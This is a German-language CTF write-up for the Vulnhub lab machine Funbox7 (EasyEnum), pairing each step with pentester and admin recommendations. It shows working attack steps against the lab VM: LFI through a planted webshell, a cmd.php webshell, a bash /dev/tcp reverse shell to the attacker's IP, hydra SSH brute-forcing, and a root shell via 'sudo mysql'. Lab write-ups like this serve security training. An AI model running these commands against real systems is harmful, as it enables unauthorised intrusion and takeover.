Funbox7 - EasyEnum - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
dirb
curl
Browser (implied)
cat
grep
nc
bash
find
ls
cd
id
getcap
uname
ss
hydra
ssh
sudo
mysql

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.129	08:00:27:60:6e:c1	PCS Systemtechnik GmbH
                    

Analyse: `arp-scan -l` wird verwendet, um aktive Geräte im lokalen Netzwerk zu finden.

Bewertung: Der Host `192.168.2.129` (VirtualBox VM) wird als Ziel "Funbox7 - EasyEnum" identifiziert.

Empfehlung (Pentester): Verwende `192.168.2.129` als Ziel-IP.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
 192.168.2.129   funbox7.vln
                    

Analyse: Lokale `/etc/hosts` wird bearbeitet, um `192.168.2.129` den Namen `funbox7.vln` zuzuordnen.

Bewertung: Erleichtert die Ansprache des Ziels.

Empfehlung (Pentester): Hostnamen `funbox7.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.129 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-01 01:38 CEST
Nmap scan report for funbox7.vln (192.168.2.129)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...]
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:60:6E:C1 (Oracle VirtualBox virtual NIC)
[...]
OS details: Linux 4.15 - 5.6
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms funbox7.vln (192.168.2.129)
[...]
                    

Analyse: Der Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert zwei offene Ports:

Bewertung: Die Angriffsfläche ist auf SSH und HTTP beschränkt. Beide Versionen sind nicht die aktuellsten.

Empfehlung (Pentester): Führe detaillierte Web-Enumeration auf Port 80 durch. Recherchiere Schwachstellen für OpenSSH 7.6p1 und Apache 2.4.29.
Empfehlung (Admin): Aktualisiere SSH und Apache.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.129 -p- | grep open
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

Analyse: Bestätigt die offenen Ports 22 und 80.

Bewertung: Schnellübersicht.

Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.129
- Nikto v2.5.0
[...]
+ Target IP:          192.168.2.129
+ Target Hostname:    192.168.2.129
+ Target Port:        80
+ Start Time:         2023-08-01 01:38:17 (GMT2)
[...]
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /robots.txt: contains 1 entry which should be manually viewed. [...]
+ Apache/2.4.29 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...]
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET .
+ /secret/: This might be interesting.
+ /icons/README: Apache default file found. [...]
+ /phpmyadmin/: phpMyAdmin directory found.
[...]
+ End Time:           2023-08-01 01:38:36 (GMT2) (19 seconds)
[...]
                    

Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.29. * Fehlende Sicherheitsheader. * Eine `robots.txt`. * Mögliches Inode-Leak. * Potenziell interessante Verzeichnisse: `/secret/` und `/phpmyadmin/`. * Standard-Datei `/icons/README`. **Datum extrahiert:** 2023-08-01.

Bewertung: Bestätigt den veralteten Webserver. `/robots.txt`, `/secret/` und `/phpmyadmin/` sind die wichtigsten Ziele für die weitere Enumeration.

Empfehlung (Pentester): Untersuche `robots.txt`. Führe Verzeichnis-Scans durch, insbesondere auf `/secret/` und `/phpmyadmin/`. Suche nach Standard-Credentials oder Schwachstellen für phpMyAdmin.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Sichere `/phpmyadmin/` und andere sensible Verzeichnisse.

Web Enumeration

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://funbox7.vln -x ... -w ... -b '403,404' -e --no-error
[...]
http://funbox7.vln/index.html           (Status: 200) [Size: 10918]
http://funbox7.vln/javascript           (Status: 301) [Size: 315] [--> http://funbox7.vln/javascript/]
http://funbox7.vln/mini.php             (Status: 200) [Size: 4443]
http://funbox7.vln/robots.txt           (Status: 200) [Size: 21]
http://funbox7.vln/secret               (Status: 301) [Size: 311] [--> http://funbox7.vln/secret/]
[...]
                    

Analyse: `gobuster` findet `index.html`, `robots.txt`, `/javascript/`, `/secret/` (bestätigt Nikto) und eine interessante Datei `mini.php`.

Bewertung: Die Datei `mini.php` und das Verzeichnis `/secret/` sind die wichtigsten Funde. `mini.php` könnte eine Webshell oder eine anfällige Anwendung sein.

Empfehlung (Pentester): Untersuche `robots.txt`, `/secret/` und `mini.php` genauer.
Empfehlung (Admin): Entferne ungewollte Skripte (`mini.php`). Schütze Verzeichnisse (`/secret/`).

# Inhalt von http://funbox7.vln/robots.txt
User-agent: *
Allow: Thinking

# Inhalt von http://funbox7.vln/secret/
 harrysallygoatoraclelissy

# Zugriff auf http://funbox7.vln/mini.php
Mini Shell
Direktori : /var/www/html/
Upload File :
Current File : /var/www/html/mini.php
[...]
# Quellcode-Auszug von mini.php (impliziert durch LFI-Versuch)
if(isset($_GET['path'])){
$path = $_GET['path'];
 if(isset($_GET['filesrc'])){

echo $_GET['filesrc'];
 if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
[...]
                     

Analyse: * `robots.txt`: Enthält nur "Allow: Thinking". * `/secret/`: Zeigt die Zeichenkette "harrysallygoatoraclelissy" (potenzielle Benutzernamen). * `mini.php`: Ist eine Webshell ("Zerion Mini Shell 1.0"), die mindestens LFI über den `filesrc`-Parameter erlaubt.

Bewertung: Die Benutzernamen aus `/secret/` und die LFI-fähige Webshell `mini.php` sind die entscheidenden Funde.

Empfehlung (Pentester): Nutze die LFI in `mini.php` (`?filesrc=...`), um `/etc/passwd` zu lesen und die Benutzernamen zu bestätigen. Versuche weitere Dateien (SSH-Schlüssel, Konfigurationsdateien) zu lesen. Prüfe, ob `mini.php` auch Upload oder RCE ermöglicht.
Empfehlung (Admin): Entferne `mini.php`. Sichere `/secret/`. Validiere Benutzereingaben serverseitig.

# LFI Versuch mit mini.php
# http://funbox7.vln/mini.php?filesrc=/etc/passwd

Mini Shell
[...]
Current File : /etc/passwd

root:x:0:0:root:/root:/bin/bash
[...]
karla:x:1000:1000:karla:/home/karla:/bin/bash
harry:x:1001:1001:,,,:/home/harry:/bin/bash
sally:x:1002:1002:,,,:/home/sally:/bin/bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|@GeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
lissy:x:1005:1005:/home/lissy:/bin/sh
[...]
Zerion Mini Shell 1.0
                    
┌──(root㉿cycat)-[~] └─# curl http://funbox7.vln/mini.php?filesrc=/etc/passwd -s | grep bash
 Current File : /etc/passwd

root:x:0:0:root:/root:/bin/bash
karla:x:1000:1000:karla:/home/karla:/bin/bash
harry:x:1001:1001:,,,:/home/harry:/bin/bash
sally:x:1002:1002:,,,:/home/sally:/bin/bash
goat:x:1003:1003:,,,:/home/goat:/bin/bash
oracle:$1$|@GeN\$PGb9VNu29e9s6dMNJKH/R0:1004:1004:,,,:/home/oracle:/bin/bash
                    

Analyse: Die LFI-Schwachstelle in `mini.php` wird genutzt, um `/etc/passwd` auszulesen. Die Ausgabe bestätigt die zuvor gefundenen Benutzernamen und zeigt, dass `oracle` einen MD5-Crypt-Hash (`$1$...`) als Passwort hat.

Bewertung: LFI bestätigt. Benutzerliste verifiziert. Passwort-Hash für `oracle` gefunden.

Empfehlung (Pentester): 1. Versuche den Hash für `oracle` zu knacken. 2. Versuche, SSH-Schlüssel für die anderen Benutzer (`harry`, `sally`, `goat`, `lissy`, `karla`) via LFI auszulesen. 3. Prüfe, ob `mini.php` Upload/RCE erlaubt (wie im nächsten Schritt impliziert).
Empfehlung (Admin): Entferne `mini.php`. Verwende keine MD5-Hashes.

┌──(root㉿cycat)-[~] └─# cat /home/cycat/Downloads/cmd.php
┌──(root㉿cycat)-[~] └─# curl http://funbox7.vln/cmd.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Eine einfache PHP-Webshell (`cmd.php`), die Systembefehle über den `cmd`-Parameter ausführt, wird erstellt und (vermutlich über eine Upload-Funktion in `mini.php` oder eine andere Lücke) in das Web-Root-Verzeichnis hochgeladen. Ein Testaufruf bestätigt die RCE als `www-data`.

Bewertung: RCE als `www-data` wurde erreicht.

Empfehlung (Pentester): Nutze die RCE, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Entferne `mini.php` und `cmd.php`. Behebe die zugrundeliegende Schwachstelle.

Initial Access

┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# Payload URL: http://funbox7.vln/cmd.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.129] 43032
bash: cannot set terminal process group (1097): Inappropriate ioctl for device
bash: no job control in this shell
www-data@funbox7:/var/www/html$
                    

Analyse: Ein Netcat-Listener wird gestartet. Eine Bash-Reverse-Shell-Payload wird über die `cmd.php`-Webshell ausgeführt. Der Listener empfängt die Verbindung und liefert eine Shell als `www-data`.

Bewertung: Der initiale Zugriff als `www-data` wurde über RCE und eine Reverse Shell erreicht.

Empfehlung (Pentester): Beginne mit der Enumeration für Privilege Escalation.
Empfehlung (Admin): Behebe die RCE-Schwachstelle. Implementiere Egress-Filterung.

Privilege Escalation Enumeration

www-data@funbox7:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   130102     44 -rwsr-xr-x   1 root     root        44664 Mar 22  2019 /bin/su
[...]
   132774    148 -rwsr-xr-x   1 root     root       149080 Jan 31  2020 /usr/bin/sudo
[...]
   132669     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec
[...]
                    

Analyse: SUID-Scan als `www-data`.

Bewertung: Findet Standard-Binaries, darunter `/bin/su`, `/usr/bin/sudo`, `/usr/bin/pkexec`.

Empfehlung (Pentester): Prüfe `sudo -l` (unwahrscheinlich für www-data). Prüfe Kernel (`uname -a`) und `pkexec`-Version auf PwnKit-Anfälligkeit. Suche nach anderen Vektoren, z.B. Passwort-Brute-Force gegen die gefundenen User.
Empfehlung (Admin): System patchen, SUID-Berechtigungen prüfen.

www-data@funbox7:/opt$ cd /home/
www-data@funbox7:/home$ ls
goat  harry  karla  oracle  sally
www-data@funbox7:/home/karla$ cat read.me
karla is really not a part of this CTF !

Analyse: Home-Verzeichnisse werden aufgelistet. Der Benutzer `karla` wird als irrelevant markiert.

Bewertung: Bestätigt die Benutzerliste aus `/etc/passwd`.

Empfehlung (Pentester): Konzentriere dich auf die anderen Benutzer (`goat`, `harry`, `oracle`, `sally`, `lissy`).
Empfehlung (Admin): Keine neuen Erkenntnisse.

┌──(root㉿cycat)-[~] └─# hydra -l goat -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.129:22 -t 64
Hydra [...] starting at 2023-08-01 02:09:14
[...]
[22][ssh] host: 192.168.2.129   login: goat   password: thebest
1 of 1 target successfully completed, 1 valid password found
[...]
                    

Analyse: Hydra wird verwendet, um das SSH-Passwort für den Benutzer `goat` (aus `/secret/` oder `/etc/passwd`) zu brute-forcen.

Bewertung: Hydra findet erfolgreich das Passwort `thebest` für `goat`.

Empfehlung (Pentester): Melde dich als `goat` per SSH an.
Empfehlung (Admin): Starke Passwörter erzwingen, Brute-Force-Schutz implementieren.

Horizontal Movement

┌──(root㉿cycat)-[~] └─# ssh goat@192.168.2.129
[...]
goat@192.168.2.129's password: thebest
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-117-generic x86_64)
[...]
goat@funbox7$
                    

Analyse: Erfolgreicher SSH-Login als `goat` mit dem Passwort `thebest`.

Bewertung: Horizontale Bewegung zum Benutzer `goat` war erfolgreich.

Empfehlung (Pentester): Führe `sudo -l` als `goat` aus.
Empfehlung (Admin): Ändere das kompromittierte Passwort.

Privilege Escalation Enumeration (as goat)

goat@funbox7$ sudo -l
Matching Defaults entries for goat on funbox7:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User goat may run the following commands on funbox7:
    (root) NOPASSWD: /usr/bin/mysql
                    

Analyse: `sudo -l` für `goat` wird ausgeführt.

Bewertung: **Kritischer Fund!** Benutzer `goat` darf `/usr/bin/mysql` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein klarer PE-Vektor.

Empfehlung (Pentester): Nutze die `mysql`-Berechtigung zur Privilege Escalation: `sudo mysql -e '\! /bin/sh'`.
Empfehlung (Admin): **Dringend!** Entferne die unsichere `sudo`-Regel.

Proof of Concept: Sudo MySQL Abuse

Analyse: Die Privilege Escalation erfolgt durch Missbrauch der `sudo`-Regel, die dem Benutzer `goat` erlaubt, den MySQL-Client (`/usr/bin/mysql`) als `root` ohne Passwort auszuführen. Der MySQL-Client erlaubt das Ausführen von externen Shell-Befehlen mittels `\!`.

  1. **Zugang als Goat:** Durch Brute-Force wird das SSH-Passwort für `goat` (`thebest`) gefunden und eine SSH-Verbindung hergestellt.
  2. **Sudo-Rechte prüfen:** `sudo -l` bestätigt, dass `goat` `/usr/bin/mysql` als `root` ohne Passwort ausführen darf.
  3. **Exploit-Ausführung:** Der Befehl `sudo mysql -e '\! /bin/sh'` wird ausgeführt.
    • `sudo mysql`: Startet den MySQL-Client als `root`.
    • `-e '\! /bin/sh'`: Führt den Befehl `\! /bin/sh` direkt in MySQL aus. `\!` startet eine externe Shell (`/bin/sh`).
  4. **Root-Shell erhalten:** Da `mysql` als `root` läuft, wird auch `/bin/sh` als `root` gestartet, was dem Angreifer eine Root-Shell liefert.

Bewertung: Die unsichere `sudo`-Regel für `mysql` ermöglicht eine einfache und direkte Privilege Escalation.

Empfehlung (Pentester): GTFOBins ist eine gute Ressource, um die Ausnutzung solcher `sudo`-Rechte zu recherchieren.
Empfehlung (Admin): Sei extrem vorsichtig bei der Vergabe von `sudo`-Rechten für interaktive Programme. Beschränke Befehle und Argumente oder verwende spezifischere Admin-Tools.

Privilege Escalation

goat@funbox7$ sudo mysql -e '\! /bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Befehl `sudo mysql -e '\! /bin/sh'` wird als `goat` ausgeführt. Dies startet den MySQL-Client als `root` und führt sofort den Shell-Befehl `/bin/sh` aus, was eine Root-Shell ergibt.

Bewertung: Die Privilege Escalation mittels `sudo mysql` war erfolgreich.

Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Entferne die `sudo mysql`-Regel.

# ls /root
html.tar.gz  root.flag	script.sh
# cat /root/root.flag
  █████▒ █    ██  ███▄    █  ▄▄▄▄    ▒█████  ▒██   ██▒
▓██   ▒  ██  ▓██▒ ██ ▀█   █ ▓█████▄ ▒██▒  ██▒▒▒ █ █ ▒
▒████  ▓██  ▒██▓██  ▀█ ██▒▒██▒ ▄██▒██  ██▒  █
▓█▒   ▓▓█  ██▓██▒  ▐▌██▒▒███▀  ▒██   ██  █ █ ▒
▒█    ▒▒█████▓ ▒██   ▓██▓█  ▀█▓ ████▓▒▒██▒ ▒██▒
 ▒     ▒▓▒ ▒ ▒  ▒   ▒ ▒ ▒▓███▀▒ ▒▒▒ ▒▒  ▓
       ▒        ▒▒▒       ▒ ▒    ▒
                           ▒

▓█████  ▄▄▄        ██████ ▓██   ██▓▓█████  ███▄    █  █    ██  ███▄ ▄███▓
▓█   ▀ ▒████▄    ▒██    ▒  ▒██  ██▒▓█   ▀  ██ ▀█   █  ██  ▓██▒▓██▒▀█▀ ██▒
▒███   ▒██  ▀█▄   ▓██▄     ▒██ ██▒███   ▓██  ▀█ ██▒▓██  ▒██▓██    ▓██
▒▓█  ▄ ██▄▄▄▄██   ▒   ██▒   ▐██▓▒▓█  ▄ ▓██▒  ▐▌██▒▓▓█  ██▒██    ▒██
▒████▒ ▓█   ▓██▒▒██████▒▒   ██▒▓▒████▒▒██   ▓██▒▒█████▓ ▒██▒   ██▒
 ▒  ▒▒   ▓▒█▒ ▒▓▒ ▒    ██▒▒▒  ▒  ▒   ▒ ▒ ▒▓▒ ▒ ▒  ▒
      ▒   ▒▒  ▒    ▓██ ▒          ▒▒
           ▒          ▒ ▒


...solved !

Please, tweet this screenshot to @0815R2d2. Many thanks in advance.
                    

Analyse: Als `root` wird das `/root`-Verzeichnis aufgelistet. Die Datei `root.flag` wird gefunden und ihr Inhalt angezeigt.

Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde erfolgreich gefunden.

Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/goat/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.

Flags

cat /home/goat/user.txt
USER_FLAG_PLACEHOLDER
cat /root/root.flag
ROOT_FLAG_ASCII_ART_PLACEHOLDER_FUNBOX7